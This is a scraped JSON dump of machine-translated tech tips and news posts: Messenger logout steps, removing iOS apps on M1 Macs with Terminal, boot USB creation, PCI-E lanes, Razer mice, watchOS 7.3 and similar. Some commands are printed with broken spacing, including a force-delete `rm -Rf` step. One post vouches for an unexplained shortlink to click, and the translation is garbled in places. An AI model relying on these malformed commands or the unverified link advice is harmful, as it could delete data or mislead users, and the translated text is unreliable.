iPhone, Android, Windows Phone and on PC, PC:\nHow to exit Messeger completely on your phone 1. The fastest way to log out of Messenger, on all devices 2. How to log out Facebook Messenger on iPhone 3. Sign out of Facebook Messenger on Android 4. Log out of Messenger on Windows Phone 5. Log out of Messenger on your computer 1. The fastest way to log out of Messenger, on all devices Make sure this is the fastest way to get rid of Messenger in use on all devices. The steps are as follows:\nOpen the Messenger application Copy the link: http://on.fb.me/1hGY3il Send it to any friend, then click on the link itself The link above is safe, I have tested it, it only does one task to log out of Facebook and Messenger in the current session.\nIf you are not assured, you can use these methods to check the link above to see where it leads: Quick link test of shortlink links quickly\n2. How to log out Facebook Messenger on iPhone Download Facebook Messenger for iOS Step 1: Central access Facebook on iPhone, in the main interface you click More (3 dashes) below the screen, then select Settings .\n   Steps to exit Facebook Messenger on mobile\nStep 2: Appear options. We will click on the Account Settings section to access the Facebook account settings section. Next click Security .\n   Step 3: Secutity Settings interface appears. You find and click the Active Session section to enter the session management section. At Manage Active Sessions , find Facebook Messenger on iOS activity sessions . Press the X next to it to stop the application session.\n   Step 4: We will access the Facebook Messenger application on the device. If you wait a few seconds, the application will automatically log out. If you want to continue using the application, click Continue as . and log in to be able to chat with friends already.\n   3. Exit Facebook Messenger on Android Download Facebook Messnger for Android Note: On different Android versions the order of items may not look like the following, the general rule is that you go to the Application Management section, select Messenger and then delete the data in the Memory section.\nStep 1: At the main screen of the screen, click the Settings item. Next, at the installation interface and click on Applications .\n   Step 2: Here, the list of applications installed on the device will appear. Scroll down and click on the Messenger application.\n   Step 3: Soon, the Messenger application customization page appears. Click on Storage memory . Then click Delete data to proceed to delete all data of the application, from files, settings, accounts, databases, .\n   4. Log out of Messenger on Windows Phone Download Windows Phone Facebook Messenger Step 1: You access the Facebook application on your phone. Here, we will click on the 3 dashes icon on the top right of the screen. Scroll down and select Settings .\n   Step 2: Select Privacy Settings . The application will switch to Microsoft Edge browser . Here, the application will ask you to log in to your account again. After that, you will click on the Privacy section.\n   Step 3: When clicking on the Activity session , you will find the activity session called Facebook messenger for Windows Phone and click on the X icon to stop the session. This approach is similar to the one done on iOS devices.\n   So when you return to the Messenger application, you will be asked to log in to your new account again.\n5. Log out of Messenger on your computer Download Messenger for PC This way will help you log out the entire Facebok application and Messenger on your phone right on your computer. Before taking back your hacked Facebook account, you can also use this method to log out, avoiding bad guys taking advantage of the account.\nStep 1: Log in to your Facebook account. At the main interface, click the arrow icon and select Settings .\n  Step 2: At the General account settings interface, click on the Security section in the menu on the left. Then, on the right side you will select the Location you have logged in to log out of your Facebook Messenger account.\n  Step 3: In the Location window you have logged in , Facebook or Messenger activity sessions on all devices from iOS, Android, Windows Phone and computers are listed by each item. To end all logins to Facebook Messenger, select End all activity .\n  If we only want to finish one of the active sessions, select the arrow next to each Computer, Messenger, Facebook for iPhone, Facebook section for Anroid if available , click End operation to log out of Facebook Messenger.\n  \nThese are temporary measures to stop your current session on Facebook Messenger so you can log in with another account. Hopefully, in the future, Facebook will update the logout option on the application so that users do not have to tinkle with manual methods through many steps to be able to log into other accounts on the same device.\nRefer to the following articles:\nHow to hide location and block tracking of Facebook Messenger How to block Facebook Messenger notification sound on iPhone Hide nick Facebook Messenger on Android I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquZnLtuu9StZJ%2BnomK6pr%2FSnqWgnaJivK95wKebq6eZmXqqvMeopZ5lkaOxbsPIp5uor6Nivam7zZ4%3D\n","link":"/post/how-to-sign-out-for-messenger-on-android-iphone-and-windows-phone/","section":"post","tags":null,"title":"How to sign out for Messenger on Android, iPhone and Windows Phone"},{"body":"The Mac M1s are the first to be powered by an Arm-based chip designed by Apple, which can run iOS and iPadOS apps due to the common architecture between the different operating systems.\nThat means ‌M1‌ Mac owners can download and install iOS apps from the ‌Mac App Store as if they were Mac apps, and Apple even includes options for Touch Alternatives that allow users to set keyboard commands for iPhone/iPad touch input alternatives.\nHowever, many users have wondered how to properly uninstall iOS apps on Apple silicon Macs.\nThe question arises because many users have tried dragging the application icon to the trash in the usual way, only to find that the application's binary file is deleted but most of the related content of the application is still on the hard drive. , usually in the ~/Library/Containers directory, taking up unnecessary storage space.\nFortunately, there is a surefire way to ensure that all data associated with an iOS app is deleted when you uninstall it, but it requires the use of a few Terminal commands.\nHow to Uninstall iPhone Apps on Mac M1 Open the Applications folder and drag the app you want to uninstall to the trash.\n  Now open Terminal (go to Applications \u0026gt; Utilities \u0026gt; Terminal.app ).\n  In the Terminal window , type the following command and then press Enter .\ncd ~/Library/Containers\nNext, enter the command find.-iname\"*appname*\", replacing ' appname ' with the name of the app you want to remove (keep the 2 quotes). This command will output the best matches, usually as obscured directory names. For example 0D3DA1EC-21FB-4836-B6A7-8C6053EF9567.\n  Now enter the command rm-Rf XXXXX-XXXX-XXXX-XXXXXXXbut replace ' XXXX ' with the obscured folder name shown earlier, then press Enter.\nIf several folders are displayed in the output, repeat the previous step for each folder.\nThe iOS app and all data associated with it will now be deleted from your Mac.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2enru0wMClo2ahoJ28r7GMmqepq12ku265wJxkpmk%3D\n","link":"/post/how-to-uninstall-iphone-apps-on-mac-m1/","section":"post","tags":null,"title":"How to Uninstall iPhone Apps on Mac M1"},{"body":"Netbooks available on the market do not have room for optical drives like CDs. Instead of having to bring it to the store, you only need the support of a USB device and a few tricks to reinstall the operating system for your device. First, you need to prepare some of the following tools: USB_PREP8, PeToUSB, Bootsect.exe. These are utilities that are provided free of charge at many technical websites. You can go to any search site to see the link to download them. Next is the need for the help of a second computer running Windows XP or Vista, with a CD reader with a win installation disc suitable for configuring your mini laptop. A completely formatted white USB. The steps to proceed are as follows First, unzip the USB_PREP8 folder and run the file usb_prep8.cmd in it. The \"Press any key to continue\" message appears in the Command line window, press any key to continue. Leave it as it is and move on to the next step.\n  Command line window after running file usb_prep8.cmd.\nIn the second step, click on the Start bar and select Run and type \"cmd\" to open another Command line window. Use the CD command to move into the directory containing the downloaded bootsect.exe file.\nExample: CD D: BOOTUSB Then type \"bootsect.exe / nt52 G:\" where G is a USB drive and press Enter. The message \"Bootcode was successfully updated on all targeted volumes.\" Will appear at the end.\n  Close the Command line windows leaving only the \"usb_prep8.cmd\" frame at first.\nStep 3:\n  Command line window usb_prep8.cmd.\nYou switch to the window window usb_prep8.cmd, press 1 and Enter to select where to get the data source to install win. Here this example is taken from the CD drive.\n  Select the CD drive where the operating system installation files are located.\nPress 2, Enter and select the wildcard character for virtual drive to store temporary images of win data. Virtual drive names cannot be identical to those available on the machine.\nPress 3 and enter the wildcard for USB. The example here is G. The messages appear in turn: the warning will Format the virtual drive T, copy the installation files to T, do you want to copy the installation files to the USB, remove the virtual drive. You just need to select Yes in each dialog box that appears for the program to continue.\n    Just select Yes to continue the process when the messages appear.\nAt this point, all preparations have been completed. With this USB, you can reinstall the operating system for the mini laptop wherever you are without any additional support. Manipulate the CMOS reset (where hardware system control is set up) for the USB select machine as the first boot device and start the usual Windows installation steps.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWfpbKzrdOipaBlo67AtbHMZp2oql2itq%2B1jKWYqayfpQ%3D%3D\n","link":"/post/install-operating-system-for-mini-laptop/","section":"post","tags":null,"title":"Install operating system for mini laptop"},{"body":"The pair of anti-humpback Randoseru is known to be an indispensable item for Japanese students. Where does this briefcase come from, what is its structure and characteristics? Follow Quantrimang 's article to get answers around this special briefcase!\n  The origin of Randoseru pair of anti-humpback Originally, Randoseru was a backpack designed for Japanese soldiers when the bakufu government introduced a Western-style military system originating from the Netherlands.\nThe name Randoseru also comes from the word \"Ransel\" in the Dutch language.\nIn 1885, Gakushuin Royal Primary School began to popularize this backpack. And then, it became more famous when the Prince of Japan started using Randoseru.\nAt that time, Randoseru was still unpopular because it was too expensive for ordinary people. It was not until 1960, when the economy of the rising sun country had a strong growth step, the pair of Randoseru was more widely used.\n  In March 2014, when the image of American actress and singer Zooey Deschanel wearing red Randoseru was spread, it was also the time when the backpack of Japanese elementary school students was famous all over the world.\nAnother powerful factor that helped Randoseru is Japanese comics. Many Anime fans like to learn the beauty of the Funeral culture through the series and pay special attention to Randoseru.\nWhen coming to Japan, many tourists will come to the famous Randoseru production facilities to find and buy backpacks, of which 2 are highly appreciated:\nTsuchiya Bag Company in Tokyo with over 50 years of production experience Randoseru specializes in selling backpacks for adults, with two black and brown colors and some changes in trendy designs, and must be reserved. HERZ company produces backpacks for both children and adults, people use high quality leather, usually with camel or dark green color. The price of each backpack includes tax of 59,400 yen (nearly 12 million VND), however, you must book two months in advance.   Through the history of development, the Japanese anti-humpback cases became more and more popular in many countries around the world. This is not only a compulsory item for Japanese elementary school students, it also becomes a Japanese cultural beauty widely known by the world through movies and comics.\nWhat is Randoseru pair of anti-hump? Structure and characteristics of the pair Randoseru What is Randoseru? Randoseru is a backpack with two shoulders. This is a mandatory item, required by the Japanese government for elementary students to use during the first 6 years.\nPair of anti-humpback Randoseru used to hold textbooks, notebooks, other school supplies. Initially, Randoseru only has 2 basic colors, red is usually for female students and black will usually be for male students.\n  Structure of the pair Randoseru Randoseru's anti-humped pairs are usually made of real leather, artificial leather or sometimes made of horse skin. Its typical size is 30cm x 23cm x 18cm respectively in height, width and depth. In addition, Randoseru has a slightly larger size to fit in A4 paper.\nPreviously, pair Randoseru weighing about 1.2kg. However, to meet the need for weight loss for students since 2004, about 70% of Randoseru pairs have been replaced with Clarino synthetic leather, lightweight waterproof material.\nThe Randoseru anti-hump pair is designed with a large main compartment to accommodate both books and additional compartments to accommodate other items.\n  Characteristics of the pair of anti-humpback Randoseru There is a very special point that is the pair of Randoseru completely made by hand. To make this briefcase, workers have to go through 10 production processes with more than 100 different parts. This is also one of the reasons why these pairs are so expensive.\nThe Randoseru anti-hump pair has the following advantages:\nSpecial structure, contact pads with thick and hard back help spread weight evenly, reduce weight for the back. The 3D strap design helps the shoulder not to sag and the back is not hunched when used for a long time. Using Randoseru anti-hump pair will help support the child's immature skeletal system. The product is very durable, has a life expectancy of up to 5-6 years depending on the user. Colors and textures are quite diverse to help children easily choose the right taste.   What is the price of anti-humping Randoseru? On the market today, you can easily find pairs of Randoseru for many different prices from $ 80. However, in Japan parents often choose pairs for children for about $ 300, even someone who is strong to invest about $ 800 to $ 900.\nBuy genuine Randoseru anti-hump backpack, where is the quality? Currently, in Vietnam market, consumers can easily buy famous Randoseru backpacks.\nMETA.vn is a typical example of supplying and distributing backpacks Randoseru with many different prices. In addition, when you come to META, you can also refer to the Randoseru backpack model of Vietnam which is produced quite subtly and meticulously at an extremely attractive price.\nContact us immediately for advice and fastest support: in Hanoi: 024.3568.6969 or in Ho Chi Minh City: 028.3833.3366\n\u0026gt;\u0026gt;\u0026gt; Related articles:\nTravel backpack turns into a sleeping bivy tent for 30 seconds\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkraCVYryztcaipWaZnpl6tMDRrpqtraKaerCyjKuYp5yfqLKzwYypmKKqXaSzbrbAqZinnaOaerTA1J2cp6yj\n","link":"/post/learn-the-origin-and-structure-of-randoseru-pair-of-japanese-students/","section":"post","tags":null,"title":"Learn the origin and structure of Randoseru pair of Japanese students"},{"body":"Razer today announced two new names for its Basilisk mouse lineup: Razer Basilisk Ultimate and Razer Basilisk X HyperSpeed. Both of these mice are equipped with the latest Razer HyperSpeed ​​technology to deliver excellent wireless signal performance with extremely low latency.\nHowever, that is not the most prominent feature on Basilisk Ultimate and Basilisk X HyperSpeed. Factors particularly impressive on these two products is battery life \"cattle\". Specifically, Basilisk X HyperSpeed ​​can provide maximum battery life up to 285 hours, higher than any wireless gaming mouse model available on the market today. In that atmosphere, Basilisk Ultimate can serve you for up to 100 consecutive hours - although much inferior to Basilisk but overall still very impressive.\nThe new Basilisk Ultimate mouse is equipped with an advanced Focus + 20K DPI optical sensor, which supports many new features such as Smart Tracking, Asymmetric Cut-Off and Motion Sync, all of which greatly improve accuracy in each manipulation. Like other Razer products, the Razer Chroma in this mouse model will allow you to customize up to 16 million colors.\nBasic specifications of the Razer Basilisk Ultimate:\n20,000 DPI Focus + optical sensor with 99.6% precision resolution HyperSpeed ​​wireless technology 11 independent programmable function buttons Razer ™ Optical Mouse Switches with a lifespan of 70 million clicks Razer Chroma ™ RGB 14 light zones with 16.8 million customizable colors Use mode wired and wireless Dongle 4GHz Compatible Razer mouse dock Battery life: About 100 hours (without lighting) (Battery life depends on the usage setting) Weight: 107g Price:\nRazer Basilisk Ultimate \u0026amp; charging dock: $ 169.99 Razer Basilisk Ultimate: $ 149.99 Charging dock: $ 49.99 USD On shelves from November 6, 2019   Basic specifications of Razer Basilisk X HyperSpeed:\nAdvanced Razer 5G optical sensor with 16,000 DPI HyperSpeed ​​wireless technology (using Dongle 2.4GHz) Dual wireless modes (2.4 GHz and BLE) 6 independent programmable function buttons Razer ™ Optical Mouse Switches with 50 million clicks lifespan Razer Synapse 3 Battery life: Up to 285 hours (2.4 GHz), 450 hours (BLE) with AA batteries included. Weight: 83g Price: $ 59.99, on shelves from November 6, 2019\n  ncG1vNJzZmismaXArq3KnmWcp51kv6LGxKtkmqaepMKvr8SsZK2vn2K7psOMm5isoZyewKx5xpqkoqaXYrqwwdKeZKanlJq5tHnWoquhZaSav7O70aKqrWWSlsG1sdGyZKWhlpo%3D\n","link":"/post/razer-announces-two-new-basilisk-gaming-mouse-models-with-terrorist-battery-life/","section":"post","tags":null,"title":"Razer announces two new Basilisk gaming mouse models with 'terrorist' battery life"},{"body":"With Wifi Calling, iPhone users can receive or send messages, make calls and receive calls anywhere if the phone has a Wifi connection. In the article below, Network Administrator will guide you through the steps to make a call on Wifi Calling.\n  1. Activate Wifi Calling on iPhone phones To activate Wifi Calling, simply open Settings =\u0026gt; Phone =\u0026gt; Wifi Calling . You may have to enter or confirm the address for necessary services.\nIf Wifi Calling is available, you will see Wifi in the status bar. You can then use Wifi Calling.\nIn addition to refer to the details of the steps to enable Wifi Calling on iPhone, you can refer to the steps here.\n  When mobile data service is available, your iPhone phone will use it in emergencies. If Wifi Calling is enabled and mobile data service is not available, Wifi Calling can be used for emergency calls.\n2. Call and receive a Wifi Calling call from another device If carrier on your device supports Wifi Calling, you can make calls and receive Wifi calls from other devices.\nEven if iPhone devices are not connected to Wifi, users can still use Wifi Calling.\niPad or iPod touch using iOS 9 or higher. Apple Watch uses watchOS 2 or higher. Mac (2012 or higher) uses OS X El Capitan operating system Wi-Fi Calling is not available on Mac Pro (Mid 2012).\nMake sure you have logged in iCloud and FaceTime with the same Apple ID account that you use on your iPhone phone. Also make sure your device has upgraded to the latest software version.\nTo make a Wifi Calling call on iPad, iPod touch, Apple Watch or Mac, follow the steps below:\n- Make a Wifi Calling call on iPad, iPod touch or Mac:\nIf your device does not have Wifi Calling enabled, proceed to enable Wifi Calling. Open FaceTime. Click on Audio. Enter the phone number or contacts and then click the phone icon. - Make a call on Apple Watch:\nOpen the Phone application. Select a contact in the phonebook. Click the phone icon. Select the phone number or FaceTime address you want to make a call. - Add a device:\n  \nMake sure your device has added the latest software version. Follow the steps below:\n1. Open your iPhone, then go to Settings =\u0026gt; Phone and activate Wifi Calling .\n2. Add Wifi Calling on other devices.\n3. On your other devices, login to iCloud and FaceTime using the same Apple ID and password that you use on your iPhone device.\n4. Activate Wifi Calling:\nOn the iPad or iPod, open Settings =\u0026gt; FaceTime =\u0026gt; Calls from iPhone and click Upgrade to Wi-Fi Calling . On the Mac, open FaceTime and select FaceTime =\u0026gt; Preferences =\u0026gt; Settings and select Calls From iPhone =\u0026gt; Upgrade to Wi-Fi Calling. 5. Now on the screen of other devices appears a 6-digit code, your task is to enter this code into your iPhone and click Allow.\nOn Apple Watch, Wifi Calling will open when Calls on Other Devices is activated.\nIf you can't add the device, check the following items:\n  \n- On iPhone phones, make sure Wifi Calling and Allow Calls on Other Devices are activated, and your device appears under Allow Calls On.\n- Make sure you are using the same Apple ID account for FaceTime and iCloud on your iPhone device and on other devices.\n- Remove device:\nIf you don't want to use Wifi Calling from another device, you can delete it:\nOn your iPhone phone, go to Settings =\u0026gt; Phone =\u0026gt; Calls on Other devices . On the list of devices, turn off Wifi Calling on the device you want to remove. To turn off Wifi Calling on Apple Watch, you access Apple Watch on your iPhone phone, click Phone =\u0026gt; Wifi Calls .\n3. Support If you can't activate or use Wifi Calling, make sure your carrier supports Wifi Calling, and your device has the latest software version installed.\nFollow the steps below if you cannot open Wifi Calling or you cannot make Wifi Calling calls.\nNote: after each wait for about 2 minutes before taking the next steps.\nGo to Settings =\u0026gt; Phone =\u0026gt; Wifi Calling and make sure Wifi Calling is activated . Restart your iPhone phone. Try another Wifi connection, because not all Wifi networks can work with Wifi Calling. Turn off Wifi Calling then proceed to reopen. Go to Settings =\u0026gt; General =\u0026gt; Reset =\u0026gt; Reset Network Settings . Note :\nFaceTime is not available for all countries and regions.\nIf your Mac device doesn't have FaceTime, you can download the application to your computer and install it here.\nRefer to some of the following articles: Conflict of IP address error when connecting to Wifi on iPhone, iPad, this is a fix Fix the error of turning on 3G data but cannot connect to the Internet on iPhone Enable Wi-Fi Calling on iOS 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddoq6ssYyaZJyZnKF6sLqMsKCfoV2Yrq24yKee\n","link":"/post/steps-to-make-a-call-on-wifi-calling/","section":"post","tags":null,"title":"Steps to make a call on Wifi Calling"},{"body":"Discord's debut in 2015 shocked the gaming world. Discord grows rapidly and currently has more than 250 million users. After years of realizing that his chat system is lagging behind, Steam has overhauled it to provide better friend list management, improved voice quality, and multimedia chat and many other improvements.\nBut what about mobile experience? Both Discord and Steam have mobile apps, so gamers can connect with friends even on the move. This article will compare two Discord and Steam Chat applications to see which apps are best for gamers.\nCompare Discord and Steam chat What is Discord and Steam Chat? Discord vs Steam Chat: Design and interface Discord vs Steam Chat: Multimedia chat Discord vs Steam Chat: Call voice and video Discord vs Steam Chat: Manage groups Discord vs Steam Chat: Which application is the best? What is Discord and Steam Chat? Discord is the chat application available for desktop and mobile devices. It targets gamers and encourages them to join the community to chat with people with similar interests. These communities or servers can be based on anything related or unrelated to the game.\nOn Discord, you can chat, make voice calls, video calls, even talk to your friends privately and it's free. Although you can pay the registration fee for Discord Nitro to get better quality video, a larger upload limit, downloadable games, but this is definitely not necessary.\nValve launched Steam in 2003 and this is primarily a game distribution platform. In fact, it is one of the most popular online game stores. In 2018, Steam Chat added new features. This is a mobile application for chatting with Steam's friends. It's completely free and doesn't require any fees.\nIt's hard to understand that there is another Steam mobile app that can be used to chat with friends, with other features like the game store, two-factor authentication, but this is a more basic app. Many people need both of these applications for a full Steam experience.\nDiscord vs Steam Chat: Design and interface Both Discord and Steam Chat offer a modern and easy-to-use interface. The interface of Steam Chat looks more compact, mainly because it has fewer features than Discord.\nSteam Chat mainly consists of three main sections: Friends, Chat and Groups and you can customize the tab to open the application. Players can add specific friends or groups to favorites for easier navigation when there are many friends. In addition, it has some useful settings such as hiding offline friends and downloading media only on Wifi networks.\nWith Discord, you need more time to get used to its interface even though it is better designed. You can switch left panel to change between groups, switching from voice channel to chat by text and vice versa. Discord provides many settings in settings such as switching between light theme and dark theme, changing the action of sending messages that Steam Chat does not have, adjusting the font rate and more.\nDiscord vs Steam Chat: Multimedia chat Online messaging has been around for a long time since Internet Relay Chat (IRC). And now we still use the key words to communicate but prefer to use more emoticons, GIFs and videos.\n  Steam Chat offers a number of custom built-in emoticons for gamers to use. In addition, you can also turn your Steam trading card into an emoticon and use Unicode emoji by selecting it on the phone keyboard.\nDiscord has more emoticons. You can select all emoji Unicode from the client, use custom emoticons added by the server admin in chat messages with friends. If you have Nitro, you can even use emoticons from other servers as a member.\n  GIFs, images and videos are processed almost the same on both applications. You can download them directly from the phone or paste a link to embed it into the conversation. However Discord is better than Steam Chat in that it allows you to choose GIF images from the phone keyboard (if available).\nDiscord vs Steam Chat: Call voice and video Discord supports voice and video calls for one-to-one chats and groups. Many users reflect on Discord voice and video calls easily, quickly and smoothly. When calling, your voice is automatically transmitted when detected or via the Push to talk feature. You can even use other apps while chatting.\n  Steam Chat does not provide this functionality, although Steam's desktop version has a voice call feature. If a friend of yours is using the desktop application and calling you, you will receive a message saying you have opened a voice call but cannot join the call. This is not a problem if you like chatting in writing.\nDiscord vs Steam Chat: Manage groups Discord focuses heavily on group management. You can easily switch between groups and then join the voice or text channel with the left panel. You can also add Discord friends to the group or create time-limited links to invite others. In addition, gamers can create their own groups within minutes. As a group admin, you have the right to censor, set user roles, add channels, add emoticons and more.\n  Although the Discord desktop application has a group search function that makes it easy to get involved in the community, mobile apps still don't support this. So, if you want to join another group, you need to get an invitation link or find a link from websites like Discordbots.org.\nSteam Chat has two separate tabs for Chats and Groups. Chats are used to chat with one person, while Groups for group chat. With Steam Chat you can easily create groups by opening a chat with someone or adding others directly to the group. Alternatively, you can go to the Groups tab and create groups from scratch. Players can create links to send other people outside Steam Chat to invite them to the group. Feature set the time for links to avoid misused links.\n  The only downside of Steam Chat is that it does not support public groups. On desktop computers, Steam has groups for all of its games and community-created groups.\nDiscord vs Steam Chat: Which application is the best? Your decision to use Discord or Steam Chat may depend on the service most of your friends use.\nOverall, Discord is a far superior application. It seems that Valve is trying to keep up, but its Steam Chat application lacks the important and quality features that Discord provides such as media embedding, voice and video chat, group support.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwqipnWWRo7Fuv9OemKZlk52utXnWoZyrnV2ewG7Ax55km52jqXqivM9mnaiqXZyurrHRrA%3D%3D\n","link":"/post/where-is-the-best-app-for-gamers/","section":"post","tags":null,"title":"Where is the best app for gamers?"},{"body":"If you have a look at the computer hardware devices in general and the motherboard in particular, you probably already know that PCI Express connection standards are one of the important components of the systems. modern computer.But the nature of this connection standard is somewhat somewhat vague.For example, on newer PCs, you might find PCI Express ports come in three or four different sizes, all labeled with PCIE or PCI-E.\nSo what is the difference between them, naming things that are confusing?And which size should I use?Read the article below for more details.\n  What is PCI Express? Launched in 2000 as an upgrade to the Peripheral Component Interconnect (PCI) standard, PCI Express has a huge advantage, which is to use bus access from point to point (point-to-point). access bus) instead of serial bus (serial bus) as traditional.That means that each individual PCI port and the cards attached to it can take full advantage of the speed at which they are designed, and it is important not to worry about phenomena such as congestion at the same time. save through a single bus.\n  Still a bit difficult to understand?Okay, now try to imagine your PC system is a luxury restaurant.The old PCI standard was like a small restaurant counter in the restaurant, everyone lined up waiting in front of the counter to wait for their turn to be served.With the PCI standard there is only one single bus, which means that the delivery desk only has one employee, so the service speed will certainly not be fast.As PCI-E is like a bar, every customer sitting at a designated or reserved table, in the bar, has a bartender 'bartender' who quickly and swiftly divides each other to close customers' orders.In short, on PCI-E, there are dedicated data transmission routes dedicated to each expansion card or peripheral device, thereby enabling your computer to access external accessories as well as Peripherals at the same time a lot faster.\nNow to add to our above example of a bar and a food stall, imagine that each wine table has several employees serving at the same time, a main employee and a few guys. ve 'behind ready to fulfill all customer requests if needed.This is also the idea of ​​multiple lanes that we mentioned above.\nLearn about multi-lane in PCI-E PCI-E has undergone a lot of upgrades since this standard was released.Currently new motherboards often have to use at least version 3 of PCI-E, or version 4 with faster and more popular speeds.In addition, version 5 is expected to be introduced in 2019. However, whatever version you are using, you must understand that they all share a physical connection mechanism, and connections. it can be further divided into four different sizes, namely x1, x4, x8, and x16.In addition, the actual x32 ports also exist, but are extremely rare and are often not used in conventional mass-scale systems.\n  So why use so many port sizes for headaches?It turns out that the different port sizes give the same amount of data connection pins to the motherboard.For example, if the ports are larger, it means that the number of pins connected on the card and the port is also higher.These connections are often referred to as lanes, with each PCI-E lane consisting of two pairs of signals, one for sending data and one for receiving data.Different versions of the PCI-E standard allow each lane to have a different speed.But in general, you just need to understand that the more lanes the PCI-E port and the device connected to that port, the faster the data transfer rate between the device and the system will be.\nBack to our bar metaphor.If you imagine every customer sitting in a bar like a PCI-E device, then the x1 lane is a service pack where only a single bartender serves a wine table.But the x4 lane is equivalent to the service pack, which will have four bartenders serving one wine table.Similarly, with the x8 lane you will have 8 bartenders in service and with x16, you will have a 'platoon' that will only serve you.Good guys will probably like this service model very much.Just kidding!Through the above example, you probably have somewhat understood the mechanism of PCI-E as well as the parameters like x16, x8, x4 and x1 mean.\nHow will these ports use these ports? For the upgraded version 3.0 of PCI Express that is in common use today, the maximum data transfer rate per lane is eight gigatransfer.In fact, the speed for the 3rd PCI-E standard is equivalent to about 1GB of data per second in each lane.\nSo, if a device uses PCI-E x1, for example, a low-power sound card or Wi-Fi antenna, for example, it can transfer data to the system at about 1GB on. seconds.Another device uses larger x4 or x8 ports, like USB 3.0, with more than 2 USB ports being used at maximum speed will be able to transfer data at a rate 4 or 8 times faster.PCI-E x16 ports, with a theoretical maximum data transfer rate of about 15GBps (on PCI-E version 3.0), are often used for most high-performance modern graphics cards from NVIDIA and AMD design.\n  There are no instructions on which lanes the card will use.Graphics cards tend to use x16 only for maximum data transfer, but obviously you don't need to plug the network card into the x16 port and use sixteen full lanes to do when the Ethernet port is only capable of data transmission. at 1 gigabit per second (about one-eighth of the throughput of a PCI-E lane).There are a small number of solid-state drives mounted on PCI-E that are compatible with x4 ports, but these ports seem to be quickly surpassed by the new M.2 standard, which can also use the PCI-E bus. .High-end network cards and user-friendly devices such as adapters and RAID controllers use a combination of x4 and x8 formats.\nRemember: PCI-E port size and lanes may not be the same One of the other problems that many people find confusing when it comes to the settings of PCI-E, is that sometimes a port may be the size of an x16 card, but there are only enough data lanes equivalent to an x4 card.It may sound 'paradoxical' but in fact, this is because the PCI-E standard can meet an unlimited number of individual connections, but there will still be practical limitations on the throughput of chipset.Because cheaper motherboards with many chipsets can only support one PCI-E x8 slot, this slot can physically fit an x16 card.Meanwhile, the gaming motherboard will include up to four PCI-E x16-x16 slots and full x16 lanes, for maximum GPU compatibility.\n  Obviously this fact can lead to several problems.If your motherboard has two x16 slots, but one of them only has x4 lanes, plugging in the new graphics card into the wrong size slot may clog the data, resulting in 75% performance. That graphics card can't be used.That's in theory, but in fact, the motherboard architecture doesn't allow this to happen.The problem here is that the cards need to be plugged into the correct slot.\nFortunately, manufacturers often have a clear explanation of which slot has the speed lane right on the motherboard, or in the manual to minimize confusion.If you do not have a user manual, the lane numbers are usually written on the motherboard PCB next to the port, as follows:\n  The sign on the motherboard in the illustration shows that the PCI-E x1 port on the top has 1 lane, while the PCI-E x16 port below has only 4 lanes.PCIEX1_2 means that this is the second x1 port on the motherboard.\nIn addition, shorter x1 or x4 cards can fit into longer x8 or x16 slots, configuring the initial connector pins of electrical contacts to make them compatible.However, it will be slightly loose and you will need to fix it to the back of the case with a small snail.Of course, large size cards like x8 or x16 will not be able to fit into smaller slots like x1 or x4 is sure!\nSo remember, when buying expansion cards or upgrading PCI Express slots, you need to keep in mind both the size and the data lanes of the existing ports.Wish you can choose the best PCI-E cards!\nSee more:\n16 connection ports are commonly found on computers and their functions Basic functions of some HDMI connectors Want to know if your computer supports USB 3.0, read this article Self-assembling computers, build desktop computers (P1): Choose hardware ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZqyYmnqxr8hmnLGooprAtHnPqKmtZZ%2BjerW0xGakqKyYmr%2Bju8Crm2acmZuzpr7Ep6tmoZ5iwKrGxGauoZmkYrGwsdJmr2puXa2FbsSTZpinnF2tfm65xJql\n","link":"/post/why-is-the-pci-express-port-on-the-motherboard-different-in-size-what-does-x16-x8-x4-and-x1-mean/","section":"post","tags":null,"title":"Why is the PCI Express port on the motherboard different in size? What does x16, x8, x4 and x1 mean?"},{"body":"WatchOS 7.3 adds a \"Time to Walk\" feature for Apple Fitness + subscribers, along with an audio experience in the Workout app, where practicing users can listen to sentences. Inspirational conversation during their walk.\nWith this update, ECG (electrocardiogram) function will be supported in Japan, Mayotte, Philippines and Thailand. Meanwhile, the cardiovascular symptom notification feature will also be coming to the above countries as well as Taiwan.\n The update also adds new Unity Watch Faces, inspired by the colors of the Lien Phi flag (black, red, and green), with shapes that change during the day in motion. The watch face also comes in black, red, green, and yellow options, or just black + gray.\nHere are the details of the watchOS 7.3 update for the Apple Watch: Apple added a new Unity watch face, inspired by the Pan-African flag colors. Updated Time to Walk feature on Fitness +, helping users to walk while listening to the coaches' health. ECG on Apple Watch Series 4 and above updated in countries like Japan, Mayotte, Philippines, and Thailand. Updated reports on cardiovascular symptoms in countries such as Japan, Mayotte, Philippines, Taiwan and Thailand. Fixed Notification and Control Center not responding when Zoom feature is enabled. WatchOS 7.3 is free to download through the Apple Watch app, to update you go to Watch app\u0026gt; General\u0026gt; Software Update. To install new software, Apple Watch needs to have at least 50% battery, it is best to put the device on the charger and keep within range of ‌‌‌‌‌‌iPhone‌‌‌‌‌‌.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55kq52cmq60sdJmrpqsk528tHmWbGSmp6Kaera6yK2wZq%2BRqbCpecWamp6r\n","link":"/post/apple-releases-watchos-7-3-more-unity-watch-faces/","section":"post","tags":null,"title":"Apple releases watchOS 7.3: More Unity watch faces"},{"body":"TipsMake's full Asus VivoBook S15 review today will give you everything you need to know to decide if this is the best laptop for you. Find out below!\nScreen and design of Asus VivoBook S15 The 15.6-inch, 1920 x 1080 resolution screen that comes with the Asus VivoBook S15 is a pleasure to use. Pleasantly thin bezels around the edges, the display is bright, vivid, and sharp. The 16:9 aspect ratio isn't the most preferred ratio, but it's still perfect for widescreen movies and shows.\n  This laptop uses premium materials, the spacious keyboard feels well-padded and the lighting is great - the distinct colors around the Enter key feel nice - the touchpad is responsive and accurate too. The touchpad has a built-in fingerprint sensor, making signing in to Windows 10 a breeze. The all-metal chassis feels solid.\nOne of the advantages of choosing a 15-inch laptop instead of a 13-inch one is that you get a lot of ports: Asus VivoBook S15 comes with one HDMI port, one Thunderbolt 4 USB-C port, one USB 